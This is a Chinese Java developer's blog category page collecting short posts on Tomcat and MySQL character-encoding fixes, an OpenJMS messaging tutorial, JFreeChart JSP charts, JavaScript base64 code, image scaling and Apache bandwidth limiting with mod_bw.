BlogJava-软件艺术思考者-随笔分类-about java

tomcat get传值时的中文乱码问题。

智者无疆 — Wed, 08 Jul 2015 10:37:00 GMT

server.xml里，connect修改为：

               connectionTimeout="20000"
               redirectPort="8443"
       useBodyEncodingForURI="true"
    URIEncoding="UTF-8"
      />

智者无疆 2015-07-08 18:37 发表评论

myeclipse参数配置

智者无疆 — Wed, 08 Jul 2015 10:33:00 GMT

1.myeclipse参数配置-解决代码不提示不保存等问题,下载后去掉.txt，然后导入myeclipse里的prefrences.
/Files/zhanglijun33/myeclipse参数配置-解决代码不提示不保存等问题.epf.txt
2.myeclipse的启动参数："D:\install\myeclipse10.7\MyEclipse 10\myeclipse.exe" -clean -Xms256m -Xmx768m -XX:MaxNewSize=256m -XX:MaxPermSize=768m

智者无疆 2015-07-08 18:33 发表评论

正常的sql（带中文参数），在mysql-front里可以查出数据，在程序里却查不出来

智者无疆 — Wed, 08 Jul 2015 10:23:00 GMT

原因：中文参数字符编码有问题，在程序里调试的时候虽然不是乱码，但数据库依旧不认识。这需要在jdbc.mysql.url里指定数据库使用的字符编码：utf-8.
jdbc.properties里
mysql.jdbc.url=jdbc:mysql://192.168.1.246:3306/wxb_site1?useUnicode=true&characterEncoding=utf-8
jndi的写法： context.xml里的写法：
      type="javax.sql.DataSource" username="root" password="root"
      driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://192.168.1.246:3306/wxb_site1?useUnicode=true&characterEncoding=utf-8"
   maxActive="100" maxIdle="10" maxWait="-1"/>

智者无疆 2015-07-08 18:23 发表评论

JMS服务器openJms入门

智者无疆 — Tue, 08 Sep 2009 03:25:00 GMT

首先可以到网站上下载最新的openjms版本，然后启动bin下的startup.bat就启动服务了，然后可以启动admin.bat进入管理界面（非必要步骤），然后分别运行samples下的basic例子就可以看到效果了，当然以前有篇文章介绍的不错，可以参考一下，不过时间上比较老了，做为参考还是可以的。

本文介绍开源的JMS服务器openJms，及怎样使用openJms来构建系统之间健全、高度可用的通讯，从而简化企业级应用的开发。 openJms符合SUN的JMS API 1.0.2规范，支持消息队列，还支持消息传递的发布/订阅模式，本文先就系统服务的搭建及JMS的非结构化消息发送和接收进行说明。

JMS 有五种消息类型。三种结构化或半结构化的消息类型（MapMessage、ObjectMessage 和 StreamMessage）以及两种非结构化的或自由格式的消息类型（TextMessage 和 BytesMessage）。而这里虽然我们只对非结构化消息进行说明，但非结构化的消息格式却能够更好地进行交互操作，因为它们在消息上很少利用结构，在此基础上与XML再进行结合，将能方便的进行更好的扩展，XML相关简化操作参考《Jaxb来实现Java-XML的转换》。

下面具体来介绍服务器搭建，在http://openjms.sourceforge.net/downloads.html下载openJms，解压后可以直接使用，在 "openjms-0.7.6.1"bin 里，有openJms的运行脚本，执行 startup 启动，弹出一个新的窗口，服务就运行在新窗口内，shutdown 为停止命令：

服务运行后，就可以开始使用JMS服务了，至此服务搭建完毕，简单得不能再简单了。

下面是消息发送和接收的开发，开发中需要的jar包在"openjms-0.7.6.1"lib里可以找到：
openjms-0.7.6.1.jar
jms-1.0.2a.jar
exolabcore-0.3.7.jar
commons-logging-1.0.3.jar

把上面的类包加入到项目中，下面是消息发送服务的代码：

package javayou.demo.openjms;
import java.util.*;
import javax.jms.*;
import javax.naming.*;

public class QueueSend {
    public static void main(String[] args) {
        try {
            //取得JNDI上下文和连接
            Hashtable properties = new Hashtable();
            properties.put(
                Context.INITIAL_CONTEXT_FACTORY,
                "org.exolab.jms.jndi.InitialContextFactory");
            //openJms默认的端口是1099
            properties.put(Context.PROVIDER_URL,
                 "rmi://localhost:1099/");
            Context context = new InitialContext(properties);

            //获得JMS信息连接队列工厂
            QueueConnectionFactory queueConnectionFactory =
                (QueueConnectionFactory) context.lookup(
                    "JmsQueueConnectionFactory");
            //获得JMS信息连接队列
            QueueConnection queueConnection =
                queueConnectionFactory.createQueueConnection();
            //产生队列Session，设置事务为false，自动应答消息接收
            QueueSession queueSession =
                queueConnection.createQueueSession(
                    false,
                    Session.AUTO_ACKNOWLEDGE);

            //获得默认内建在JMS里的队列之一：queue1
            Queue queue = (Queue) context.lookup("queue1");
            //产生JMS队列发送器
            QueueSender queueSender =
                queueSession.createSender(queue);
            //发送数据到JMS
            TextMessage message = queueSession.createTextMessage();
            message.setText("Hello, I'm openJms.");
            queueSender.send(message);

            System.out.println(
                ""信息写入JMS服务器队列");

            //以下做清除工作，代码略
            // ... ...

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行程序发送消息，然后打开JMS控制台，用 admin 命令启动管理平台，点击菜单Actions－Connections－online，出现界面如下：

可以看到JSM默认的队列queue1里已经有1条消息了，而其他的队列还是空着的。

下面我们来看看消息接收服务的代码：

package javayou.demo.openjms;
import java.util.*;
import javax.jms.*;
import javax.naming.*;
public class QueueReceiveSynchronous {
    public static void main(String[] args) {
        try {
            //取得JNDI上下文和连接
            Hashtable properties = new Hashtable();
            properties.put(
                Context.INITIAL_CONTEXT_FACTORY,
                "org.exolab.jms.jndi.InitialContextFactory");
            properties.put(Context.PROVIDER_URL,
                "rmi://localhost:1099/");
            Context context = new InitialContext(properties);

            //获得JMS信息连接队列工厂
            QueueConnectionFactory queueConnectionFactory =
                (QueueConnectionFactory) context.lookup(
                    "JmsQueueConnectionFactory");

            //获得JMS信息连接队列
            QueueConnection queueConnection =
                queueConnectionFactory.createQueueConnection();

            //启动接收队列线程
            queueConnection.start();
            //产生队列Session，设置事务为false，自动应答消息接收
            QueueSession queueSession =
                queueConnection.createQueueSession(
                    false,
                    Session.AUTO_ACKNOWLEDGE);
            //获得默认内建在JMS里的队列之一：queue1
            Queue queue = (Queue) context.lookup("queue1");
            //产生JMS队列接收器
            QueueReceiver queueReceiver =
                queueSession.createReceiver(queue);
            //通过同步的方法接收消息
            Message message = queueReceiver.receive();
            String messageText = null;
            if (message instanceof TextMessage)
                messageText = ((TextMessage) message).
                    getText();
            System.out.println(messageText);
            //以下做清除工作，代码略
            // ... ...

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译后运行接收信息服务，可以看到接收到并打印之前发送的消息，再看看控制台，发现queue1的消息队列变为0，消息已被读取，消息发送和接收到此结束。

上篇openJms介绍 (一) 提到了openJms的构建及消息的发送和接收，这篇主要了解消息的发布和订阅。JMS 的发布/订阅模型定义了如何向一个内容节点发布和订阅消息，内容节点也叫主题(topic)，主题是为发布者(publisher)和订阅者 (subscribe) 提供传输的中介。发布/订阅模型使发布者和订阅者之间不需要直接通讯（如RMI）就可保证消息的传送，有效解决系统间耦合问题（当然有这个需要才行），还有就是提供了一对一、一对多的通讯方式，比较灵活。

先介绍JMS里2个概念，持久订阅模式和非持久订阅模式，其实也是发布/订阅模型在可靠性上提供的2种方式：

非持久订阅模式：只有当客户端处于激活状态，也就是和JMS 服务器保持连接的状态下，才能接收到发送到某个Topic的消息，而当客户端处于离线状态时，则这个时间段发到Topic的消息将会永远接收不到。

持久订阅模式：客户端向JMS 注册一个识别自己身份的ID，当这个客户端处于离线时，JMS 服务器会为这个ID 保存所有发送到主题的消息，当客户再次连接到JMS 服务器时，会根据自己的ID 得到所有当自己处于离线时发送到主题的消息，即消息永远能接收到。

下面我们就接着来看openJms在发布/订阅模式上的表现，由于篇幅关系，在这里只讲述非持久订阅模式，持久订阅模式可以根据JMS的标准来试。

消息发布的代码如下：

package javayou.demo.openjms;
import java.util.*;
import javax.jms.*;
import javax.naming.*;
public class TopicPublish {
    public static void main(String[] args) {
        try {
            //取得JNDI上下文和连接
            Hashtable properties = new Hashtable();
            properties.put(
                Context.INITIAL_CONTEXT_FACTORY,
                "org.exolab.jms.jndi.InitialContextFactory");
            //openJms默认的端口是1099
            properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");
            Context context = new InitialContext(properties);
            //获得JMS Topic连接队列工厂
            TopicConnectionFactory factory =
                (TopicConnectionFactory) context.lookup(
                    "JmsTopicConnectionFactory");

            //创建一个Topic连接，并启动
            TopicConnection topicConnection = factory.createTopicConnection();
            topicConnection.start();

            //创建一个Topic会话，并设置自动应答
            TopicSession topicSession =
                topicConnection.createTopicSession(false,
                        Session.AUTO_ACKNOWLEDGE);

            //lookup 得到 topic1
            Topic topic = (Topic) context.lookup("topic1");
            //用Topic会话生成Topic发布器
            TopicPublisher topicPublisher = topicSession.createPublisher(topic);

            //发布消息到Topic
            System.out.println("消息发布到Topic");
            TextMessage message = topicSession.createTextMessage
                ("你好，欢迎定购Topic类消息");
            topicPublisher.publish(message);

            //资源清除，代码略 ... ...
        } catch (NamingException e) {
            e.printStackTrace();
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }
}

而订阅消息的接收有同步的和异步2种，他们分别使用receive()和onMessage(Message message)方法来接收消息，具体代码：

同步接收：

package javayou.demo.openjms;
import java.util.*;
import javax.jms.*;
import javax.naming.*;
public class TopicSubscribeSynchronous {

    public static void main(String[] args) {
        try {
            System.out.println("定购消息接收启动：");
            //取得JNDI上下文和连接
            Hashtable properties = new Hashtable();
            properties.put(Context.INITIAL_CONTEXT_FACTORY,
                "org.exolab.jms.jndi.InitialContextFactory");
            properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");
            Context context = new InitialContext(properties);

            //获得Topic工厂和Connection
            TopicConnectionFactory factory =
                (TopicConnectionFactory) context.lookup(
                    "JmsTopicConnectionFactory");
            TopicConnection topicConnection = factory.createTopicConnection();
            topicConnection.start();

            //创建Topic的会话，用于接收信息
            TopicSession topicSession =
                topicConnection.createTopicSession(
                    false,
                    Session.AUTO_ACKNOWLEDGE);

            //lookup topic1
            Topic topic = (Topic) context.lookup("topic1");
                    //创建Topic subscriber
            TopicSubscriber topicSubscriber =
                topicSession.createSubscriber(topic);
            //收满10条订阅消息则退出
            for (int i=0; i<10; i++) {
                //同步消息接收，使用receive方法，堵塞等待，直到接收消息
                TextMessage message = (TextMessage) topicSubscriber.receive();
                System.out.println("接收订阅消息["+i+"]: " + message.getText());
            }
            //资源清除，代码略 ... ...
            System.out.println("订阅接收结束.");
        } catch (NamingException e) {
            e.printStackTrace();
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }
}

非同步接收：

package javayou.demo.openjms;
import java.util.*;
import javax.jms.*;
import javax.naming.*;
public class TopicSubscribeAsynchronous implements MessageListener {
    private TopicConnection topicConnection;
    private TopicSession topicSession;
    private Topic topic;
    private TopicSubscriber topicSubscriber;

    TopicSubscribeAsynchronous() {
        try {
            //取得JNDI上下文和连接
            Hashtable properties = new Hashtable();
            properties.put(
                Context.INITIAL_CONTEXT_FACTORY,
                "org.exolab.jms.jndi.InitialContextFactory");
            properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");
            Context context = new InitialContext(properties);

            //取得Topic的连接工厂和连接
            TopicConnectionFactory topicConnectionFactory =
                (TopicConnectionFactory) context.lookup(
                    "JmsTopicConnectionFactory");
            topicConnection = topicConnectionFactory.createTopicConnection();

            //创建Topic的会话，用于接收信息
            topicSession =
                topicConnection.createTopicSession(false,
                    Session.AUTO_ACKNOWLEDGE);
            topic = (Topic) context.lookup("topic1");

            //创建Topic subscriber
            topicSubscriber = topicSession.createSubscriber(topic);
            //设置订阅监听
            topicSubscriber.setMessageListener(this);

            //启动信息接收
            topicConnection.start();
        } catch (NamingException e) {
            e.printStackTrace();
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("非同步定购消息的接收：");
        try {
            TopicSubscribeAsynchronous listener =
                new TopicSubscribeAsynchronous();
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    //收到订阅信息后自动调用此方法
    public void onMessage(Message message) {
        try {
            String messageText = null;
            if (message instanceof TextMessage)
                messageText = ((TextMessage) message).getText();
            System.out.println(messageText);
        } catch (JMSException e) {
            e.printStackTrace();
        }
    }
}

编译好后，启动openJms服务，打开admin管理台，为了运行方便，这里先列出三个类的运行命令：
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicPublish
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicSubscribeSynchronous
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicSubscribeAsynchronous

先运行2个接收命令，再运行发布命令，可以看到控制台的Topic有消息接收，并且接收1和2都有消息接收的提示，到此完成演示，由于是非持久订阅，所以可以看到控制台上的Topic消息条数不会减少。

智者无疆 2009-09-08 11:25 发表评论

OSCache的实际使用

智者无疆 — Thu, 27 Nov 2008 06:48:00 GMT

摘要: 项目性能优化相关：oscache实际应用,Cookie的混乱及解决阅读全文

智者无疆 2008-11-27 14:48 发表评论

hql editor 的使用

智者无疆 — Mon, 17 Nov 2008 06:19:00 GMT

摘要: hqlEdit的使用 spring service层的测试阅读全文

智者无疆 2008-11-17 14:19 发表评论

url 传中文乱码的解决

智者无疆 — Mon, 10 Nov 2008 03:51:00 GMT

1传中文之前的准备
<%
String a = "我是立军";
a = URLEncoder.encode(a,"gbk");
%>

试验

2.接收 <%
String actionName=new String(request.getParameter("actionName").getBytes("iso8859_1"));
%>
actionName:<%=actionName %>

智者无疆 2008-11-10 11:51 发表评论

几种报表图的画法

智者无疆 — Tue, 21 Oct 2008 04:00:00 GMT

1.折线图

<%@ page contentType="text/html;charset=GBK"%>
<%@ page import="java.awt.Color"%>
<%@ page import = "org.jfree.chart.ChartFactory,
                  org.jfree.chart.ChartPanel,
                  org.jfree.chart.JFreeChart,
                  org.jfree.chart.DefaultOldLegend,
                  org.jfree.chart.axis.NumberAxis,
org.jfree.chart.plot.CategoryPlot,
org.jfree.chart.plot.PlotOrientation,
org.jfree.chart.renderer.category.LineAndShapeRenderer,
org.jfree.data.category.CategoryDataset,
org.jfree.data.category.DefaultCategoryDataset,
org.jfree.chart.servlet.ServletUtilities
"%>
<%@ page import="org.jfree.chart.axis.CategoryAxis"%>
<%@ page import="org.jfree.chart.axis.CategoryLabelPositions"%>
<%@ page import="org.jfree.data.general.DatasetUtilities"%>

String[] rowKeys= null;//柱数据
String[] columnKeys=null;//刻度数据

rowKeys = new String[]{"219.146.1.196","219.146.10.105","219.146.10.116","219.146.10.73"};
columnKeys = new String[]{"2008年7月上旬","2007-02-04"};

double[][] data = new double[rowKeys.length][columnKeys.length];
data = new double[][]{
{1022.0,856.0},{676.0,13563.0},{12827.0,10576.0},{0.0,100.0}
};
CategoryDataset dataset = DatasetUtilities.createCategoryDataset(rowKeys, columnKeys, data);
JFreeChart chart = ChartFactory.createLineChart(
           "这是测试标题．．．",
            "时间",
            "访问量",                 // range axis label
           dataset,                   // data
           PlotOrientation.VERTICAL, // orientation
           true,                      // include legend
           true,                      // tooltips
           false                      // urls
       );
chart.setBackgroundPaint(Color.WHITE); //-----------------------------背景色
chart.setBorderVisible(true); //--------------------------------------设置边框是否可见
chart.setBorderPaint(Color.BLUE); //-----------------------------------设置边框颜色setBorderVisible()必须为true

CategoryPlot plot = chart.getCategoryPlot();
plot.setBackgroundPaint(Color.CYAN);
CategoryAxis domainAxis = plot.getDomainAxis();
domainAxis.setCategoryLabelPositions(CategoryLabelPositions.DOWN_45);
        plot.setDomainAxis(domainAxis);
       // customise the range axis... 设置统计图中只显示整数
       NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis();
       rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits());
       rangeAxis.setAutoRangeIncludesZero(true);
       rangeAxis.setUpperMargin(0.20);
       rangeAxis.setLabelAngle(Math.PI / 2.0);

       LineAndShapeRenderer renderer = (LineAndShapeRenderer) plot.getRenderer();
       renderer.setItemLabelsVisible(true);
       renderer.setShapesVisible(true);//series 点（即数据点）可见
       renderer.setSeriesPaint(0, new Color(0, 0, 255));
       renderer.setSeriesPaint(1, new Color(255, 0, 255));
       renderer.setSeriesPaint(2, new Color(0, 255, 255));
       renderer.setSeriesPaint(3, new Color(0,125,0));
       renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());
    renderer.setItemLabelsVisible(true);

String filename = ServletUtilities.saveChartAsPNG(chart, 850, 550, null, session);
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
%>

" width=850 height=550 border=0 usemap="#<%= filename %>">

2.饼状图

<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%@ page import="java.io.FileOutputStream"%>
<%@ page import="java.io.IOException"%>
<%@ page import="java.io.*"%>
<%@ page import="java.awt.Color"%>
<%@ page import="java.awt.*"%>
<%@ page import="java.awt.event.*"%>
<%@ page import="javax.swing.*"%>
<%@ page import="org.jfree.chart.*"%>
<%@ page import="org.jfree.data.*"%>
<%@ page import="org.jfree.data.general.*"%>
<%@ page import="org.jfree.data.category.*"%>
<%@ page import="org.jfree.chart.plot.PlotOrientation"%>
<%@ page import="org.jfree.data.category.CategoryDataset"%>
<%@ page import="org.jfree.data.category.DefaultCategoryDataset"%>
<%@ page import="org.jfree.ui.ApplicationFrame"%>
<%@ page import="org.jfree.chart.plot.CategoryPlot"%>
<%@ page import="org.jfree.chart.axis.NumberAxis"%>
<%@ page import="org.jfree.chart.renderer.category.LineAndShapeRenderer"%>
<%@ page import="org.jfree.chart.renderer.category.*"%>
<%@ page import="org.jfree.chart.renderer.category.LineAndShapeRenderer"%>
<%@ page import="org.jfree.chart.plot.PiePlot"%>
<%@page import ="org.jfree.chart.labels.StandardCategoryItemLabelGenerator"%>
<%@page import ="org.jfree.chart.renderer.category.BarRenderer3D"%>
<%@ page import="org.jfree.data.general.DefaultPieDataset"%>
<%@ page import="org.jfree.chart.*"%>
<%@ page import="org.jfree.chart.plot.*"%>
<%@ page import="org.jfree.chart.servlet.ServletUtilities"%>
<%@ page import="org.jfree.chart.urls.StandardPieURLGenerator"%>
<%@ page import="org.jfree.chart.entity.StandardEntityCollection"%>
<%
  DefaultPieDataset data = new DefaultPieDataset();
  //数据初始化
  data.setValue("高中以下",380);
  data.setValue("高中",1620);
  data.setValue("大专",6100);
  data.setValue("本科",8310);
  data.setValue("硕士",3520);
  data.setValue("博士",1900);

  //HttpSession session = request.getSession();

  PiePlot plot = new PiePlot(data);//生成一个3D饼图
  //plot.setURLGenerator(new StandardPieURLGenerator("DegreedView.jsp"));//设定图片链接
  JFreeChart chart = new JFreeChart("",JFreeChart.DEFAULT_TITLE_FONT, plot, true);
  chart.setBackgroundPaint(java.awt.Color.white);//可选，设置图片背景色
  chart.setTitle("程序员学历情况调查表-By Alpha");//可选，设置图片标题
  //plot.setToolTipGenerator(new StandardPieURLGenerator());
  StandardEntityCollection sec = new StandardEntityCollection();
  ChartRenderingInfo info = new ChartRenderingInfo(sec);
  PrintWriter w = new PrintWriter(out);//输出MAP信息
  //500是图片长度，300是图片高度
  //String filename = ServletUtilities.saveChartAsPNG(chart,500,300,info,session);
  String filename = ServletUtilities.saveChartAsJPEG(chart,500,300,info,session);
  ChartUtilities.writeImageMap(w,"map0",info,false);

  String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;

%>
" width=500 height=300 border=0 usemap="#map0">

3.柱状图

<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>

<%
String[] rowInfo = new String[]{"one","two"};
String[] colInfo = new String[]{"first","second"};
double[][] dataInfo = new double[2][2];
dataInfo = new double[][]{
{1022.0,856.0},{676.0,13563.0}
};
CategoryDataset data = DatasetUtilities.createCategoryDataset(rowInfo,colInfo,dataInfo);
JFreeChart chart = ChartFactory.createBarChart3D("this is test......",
                  "row",
                  "col",
                  data,
                  PlotOrientation.VERTICAL,
                  true,false,false);
chart.setAntiAlias(true);
chart.setBackgroundPaint(Color.WHITE);
chart.setBorderPaint(Color.BLACK);
chart.setBorderVisible(true);

//图表区域对象，基本上这个对象决定着什么样式的图表，创建该对象的时候需要Axis、Renderer以及数据集对象的支持
CategoryPlot plot = chart.getCategoryPlot();
plot.setDomainGridlinePaint(Color.RED); //横坐标网格线白色
plot.setDomainGridlinesVisible(true); //可见
plot.setBackgroundPaint(Color.CYAN);

//用于处理图表的两个轴：纵轴和横轴
CategoryAxis axis = plot.getDomainAxis();
axis.setCategoryLabelPositions(CategoryLabelPositions.UP_45);
axis.setAxisLinePaint(Color.RED);
//axis.setLabel("asdfasdfa");
//axis.setUpperMargin(5);
axis.setTickMarksVisible(true);
axis.setAxisLineVisible(true);

NumberAxis numberaxis = (NumberAxis)plot.getRangeAxis();
numberaxis.setAutoTickUnitSelection(true);
numberaxis.setAutoRangeIncludesZero(false);

BarRenderer3D renderer = new BarRenderer3D();

renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());
renderer.setItemLabelsVisible(true);
renderer.setBaseOutlinePaint(Color.BLACK);
//设置 Wall 的颜色
renderer.setWallPaint(Color.GREEN);
//设置每种柱的颜色
//renderer.setSeriesPaint(0, new Color(0, 0, 255));
//renderer.setSeriesPaint(1, new Color(0, 100, 255));
//设置平行柱之间距离
renderer.setItemMargin(0.02);
//显示每个柱的数值，并修改该数值的字体属性
//renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());
//renderer.setItemLabelsVisible(true);
plot.setRenderer(renderer);

//设置柱的透明度
plot.setForegroundAlpha(0.8f);
//设置地区、销量的显示位置
plot.setDomainAxisLocation(AxisLocation.TOP_OR_RIGHT);
plot.setRangeAxisLocation(AxisLocation.BOTTOM_OR_RIGHT);

String filename = ServletUtilities.saveChartAsPNG(chart, 850, 550, null, session);
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
%>

" width=850 height=550 border=0 usemap="#<%= filename %>">

智者无疆 2008-10-21 12:00 发表评论

XMLConfiguration,XMLEncoder,XMLDecoder

智者无疆 — Wed, 03 Sep 2008 03:47:00 GMT

摘要: xmlconfiger,XMLEncoder,XMLDecoder||程序生成国际化资源文件||java正则表达式||tomcat的html乱码||MD5算法阅读全文

智者无疆 2008-09-03 11:47 发表评论

转换当前的url，js

智者无疆 — Wed, 20 Aug 2008 11:49:00 GMT

1.js StringUtil
它是标准的base64编码，解码.

var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var base64DecodeChars = new Array(
    -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
    -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
    -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
    -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
    -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
//客户端Base64编码
function base64encode(str) {
    var out, i, len;
    var c1, c2, c3;

    len = str.length;
    i = 0;
    out = "";
    while(i < len) {
c1 = str.charCodeAt(i++) & 0xff;
if(i == len)
{
     out += base64EncodeChars.charAt(c1 >> 2);
     out += base64EncodeChars.charAt((c1 & 0x3) << 4);
     out += "==";
     break;
}
c2 = str.charCodeAt(i++);
if(i == len)
{
     out += base64EncodeChars.charAt(c1 >> 2);
     out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
     out += base64EncodeChars.charAt((c2 & 0xF) << 2);
     out += "=";
     break;
}
c3 = str.charCodeAt(i++);
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4));
out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >>6));
out += base64EncodeChars.charAt(c3 & 0x3F);
    }
    return out;
}

//客户端Base64解码
function base64decode(str) {
var c1, c2, c3, c4;
var i, len, out;

    len = str.length;
    i = 0;
    out = "";
    while(i < len) {
/* c1 */
do {
     c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
} while(i < len && c1 == -1);
if(c1 == -1)
     break;

/* c2 */
do {
c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
} while(i < len && c2 == -1);
if(c2 == -1)
break;

out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));

/* c3 */
do {
     c3 = str.charCodeAt(i++) & 0xff;
     if(c3 == 61)
return out;
     c3 = base64DecodeChars[c3];
} while(i < len && c3 == -1);
if(c3 == -1)
     break;

out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));

/* c4 */
do {
     c4 = str.charCodeAt(i++) & 0xff;
     if(c4 == 61)
return out;
     c4 = base64DecodeChars[c4];
} while(i < len && c4 == -1);
if(c4 == -1)
     break;
out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
    }
    return out;
}

2.使用。

2.

<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
<%@ taglib uri="/webwork" prefix="ww"%>
<%@ taglib uri="/compass" prefix="compass"%>
<%@taglib uri="/jstl/c" prefix="c"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
<%
String contextPath = request.getContextPath();
%>
<%--

     --%>


<%--<% response.setHeader("Pragma","No-cache");
  response.setHeader("Cache-Control","no-cache");
  response.setDateHeader("Expires", 0);
%>--%>

     马上注册

     店主管理
     个人夜店管理

     忘记密码？

首页

关键词：${guanjianci.keycontext }

智者无疆 2008-08-20 19:49 发表评论

JAVA+dtree实现一个树形导航

智者无疆 — Mon, 18 Aug 2008 09:20:00 GMT

1：用sql查询出所有的树形数据，以orcale为例：
select c.CATEGORY_ID,c.PARENT_ID,ct.CATEGORY_NAME,c.IS_BOTTOM
from n_category c,n_categorytrans ct where ct.CATEGORY_ID=c.CATEGORY_ID
and ct.CUR_LANGUAGE='zh' and c.TYPE=3
start with c.PARENT_ID=0 connect by prior c.PARENT_ID=c.CATEGORY_ID
order by c.PARENT_ID,c.ORDER_NUMBER
出来的数据放到一个list里面。传到页面上。
List li = this.baseService.getListForSql(sql,new Object[]{curLanguage,type,0});
  HttpServletRequest request = ServletActionContext.getRequest();
  request.setAttribute("ncategoryTree", li);
2.jsp的页面如下：
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%
String path = request.getContextPath();
%>
<%@ include file="imports.jsp" %>

智者无疆 2008-08-18 17:20 发表评论

java 图片缩放当前语种及国际化资源

智者无疆 — Wed, 16 Jul 2008 15:23:00 GMT

java 图片缩放
import javax.imageio.ImageIO;
import javax.imageio.IIOException;
import java.awt.image.BufferedImage;
import java.awt.Image;
import java.io.File;
import java.awt.image.AffineTransformOp;
import java.awt.geom.AffineTransform;

public class ImageTrade2 {

    public static void main (String argv[]) {
        try {
            File fi = new File("C:/001.jpg"); //大图文件
            File fo = new File("C:/002.jpg"); //将要转换出的小图文件
            //if(!fo.exists())fo.createNewFile();
            AffineTransform transform = new AffineTransform();
            BufferedImage bis = ImageIO.read(fi);

            int w = bis.getWidth();
            int h = bis.getHeight();
            double scale = (double)w/h;

            int nw = 120;
            int nh = (nw * h) / w;
            if(nh>120) {
                nh = 120;
                nw = (nh * w) / h;
            }

double sx = (double)nw / w;
double sy = (double)nh / h;

transform.setToScale(sx,sy);

            AffineTransformOp ato = new AffineTransformOp(transform, null);
            BufferedImage bid = new BufferedImage(nw, nh, BufferedImage.TYPE_3BYTE_BGR);
            ato.filter(bis,bid);
            ImageIO.write(bid, "jpeg", fo);
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

智者无疆 2008-07-16 23:23 发表评论

Apache服务器限制并发连接和下载速度

智者无疆 — Wed, 16 Jul 2008 07:40:00 GMT

Apache服务器限制并发连接和下载速度

2008年03月18日星期二 16:53

目前各种多线程下载工具泛滥，这对提供部分下载功能的网站来说是个比较头疼的问题，由于多线程下载会给服务器带来巨大的负载压力，而且可能会对整个站点产生影响，使其不能正常访问。那么有没有什么方法可以解决这些问题呢？答案是肯定的。目前国内大部分站点都是基于LAMP（Linux+Apache+Mysql+php）架构的，Apache是一个开源的，功能强大，稳定，使用量最大的WEB服务器。Apache是模块化开发的，可以根据需要增加各种功能模块，这里我给大家bw_mod。

Bw_mod，它可以根据来源IP进行带宽限制。

下面说一下它的安装配置，它的下载地址是：
bw_mod：http://apache.ivn.cl/

下载：wget http://apache.ivn.cl/files/source/mod_bw-0.7.tgz
解压：tar zxvf bw-0.7.tgz
安装：通过whereis apxs命令找到apxs命令的位置，如apxs的位置是：/usr/local/apache/bin/apxs，那么我们就可以通过：
/opt/apache/bin/apxs –c –i –a命令进行安装。

#/opt/apache/bin/apxs -i -a -c bw_mod-0.6.c

修改Apache的配置文件httpd.conf。
１．确认LoadModule bw_module modules/mod_bw.so选项已经存在。
２．配置示例：
BandWidthModule On #启用bw_mod
BandWidth all 102400 #最高为为100kB
MinBandWidth all 51200 #最低为50KB
MaxConnection all 3 #所有客户端最多3个连接
LargeFileLimit .rar 30 23000 ＃限制所有大于30K的后缀名为.rar的文件的
速率为23000字节/秒，即23K/秒
３．重启Apache
以上只说了一下这个模块的安装和简单的配置，更具体的配置请看这个模块的说明文件。

windows 应用

先去该网站下载所需的modules档案 (有*nix和Windows版本)
Ivan Barrera A. (Bruce)网站 (http://www.ivn.cl/apache/#bandwidth)
官方文档 (http://www.ivn.cl/apache/bw_mod-0.6.txt)
接着打开 httpd.conf 此档
在任何一处空白列中,加入以下那行

LoadModule bw_module modules/bw_mod-2.0.54.dll

(如果你有改档名,上面的 bw_mod-2.0.54.dll 也须更改成相同档名)
再加入以下这行,启动modules (不加此行,预设值是不启动 disabled)
BandWidthModule On

例一：

BandWidth localhost 10240
